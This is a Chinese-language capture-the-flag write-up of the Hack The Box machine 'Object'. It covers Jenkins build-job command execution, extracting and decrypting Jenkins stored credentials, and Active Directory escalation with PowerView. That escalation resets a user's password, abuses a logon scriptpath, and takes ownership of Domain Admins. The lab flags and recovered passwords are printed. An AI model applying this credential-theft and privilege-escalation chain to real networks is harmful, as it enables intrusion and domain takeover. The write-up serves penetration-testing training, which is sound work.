HTB-oscplike-Object

HTB-oscplike-Object

hard难度的object 靶机IP 10.10.11.132
也不知道是这个靶机出的晚刚加上还是很多人oscplike机器打不到这最后一台
这台总共就一百来个人通了

sudo nmap -sC -sV -A -p- --min-rate=1000 -Pn 10.10.11.132
80/tcp open http Microsoft IIS httpd 10.0
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
8080/tcp open http Jetty 9.4.43.v20210629

两个http 一个winrm
进80看到有一个能点的链接跳转到8080 是一个登陆界面
注册进去可以看到版本号 Jenkins 2.317 searchsploit没有看到版本特别对应的
瞎勾八翻 翻到在创建new item里可以设置build periodically
同时是可以设置执行命令的 设置好出去在console output看到回显

但是当我们用来弹shell会发现 “Unable to connect to the remote server”
流量出不来 反弹shell基本寄了 多半就是要通过检索文件获得密码

接下来又是google嗯搜jenkins有用的文件
最后在C:\Users\oliver\AppData\Local\Jenkins.jenkins\users\admin_17207690984073220035 里看到有用的config.xml
里面有
oliver
{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}
然后就是找这个密码是拿什么加密的了 github找了找后发现还需要两个文件
<master.key> <hudson.util.Secret>
这个Secret打开是乱码 需要先base64一下
certutil -encode C:\Users\oliver\AppData\Local\Jenkins.jenkins\secrets\hudson.util.Secret 1.txt
master.key是直接明文的

用这三个文件解出密码 oliver/c1cdfun_d2434 evil-winrm登上去 拿到flag
5ee9729a2ba034facdc9d5e3440f2f9d

进去 whoami /all没东西 netstat -ano看到了经典的88
直接上bloodhound 但是很诡异的失败了
LDAP Connection Test Failed. Check if you’re in a domain context!

搞了半天最后发现是Sharphound的版本问题 换个老版本的就没事了
非常勾八麻烦 老版本的Sharphound还只适配老版本的bloodhound
所以还要下个老版本bloodhound 所以能不升级软件就别升级 恁妈！

然后就按他说的 先改smith的密码
$pass = ConvertTo-SecureString ‘oreo123!’ -AsPlainText -Force
Set-DomainUserPassword -Identity smith -AccountPassword $pass
smith也是winrm的用户 拿smith登上去

然后根据genericwrite给的操作是不生效的 改密码什么也不行 很勾八抽象
看了半天 hacktrick上看到可以用让用户在登陆时自动执行脚本 且这里会一直触发
Set-DomainObject -Identity maria -SET @{scriptpath=“xxx.ps1”}
但是问题是一开始就发现这B流量也出不去啊 拿不到shell 陷入僵局

最后是写了个把maria桌面文件写到programdata下的ps1
C:\programdata> echo ‘dir c:\users\maria\desktop > c:\programdata\a.txt’ >s.ps1
Set-DomainObject -Identity maria -SET @{scriptpath=“c:\programdata\s.ps1”}
发现桌面上有一个Engines.xls 再写个ps1把这个copy过来 然后download到kali

xls里面发现了三个密码 随手都试一试最后得到maria/W3llcr4ft3d_4cls
evil-winrm登上去 再看bloodhound 我们可以直接writeowner化身域控了

Set-DomainObjectOwner -Identity ‘Domain Admins’ -OwnerIdentity 'maria’变成owner
Add-DomainObjectAcl -TargetIdentity “Domain Admins” -PrincipalIdentity maria -Rights All 添加全部权限
Add-DomainGroupMember -Identity ‘Domain Admins’ -Members 'maria’添加到组内
然后重登就可以读取root.txt了
de58893c55938e2de1845dc2ec2d6604

这台提权确实费劲 不过域的机器打完了htb会员也刚好到期了
后面两天整理整理这五六十台机器 然后就等订阅时间到打oscp实验室和PG了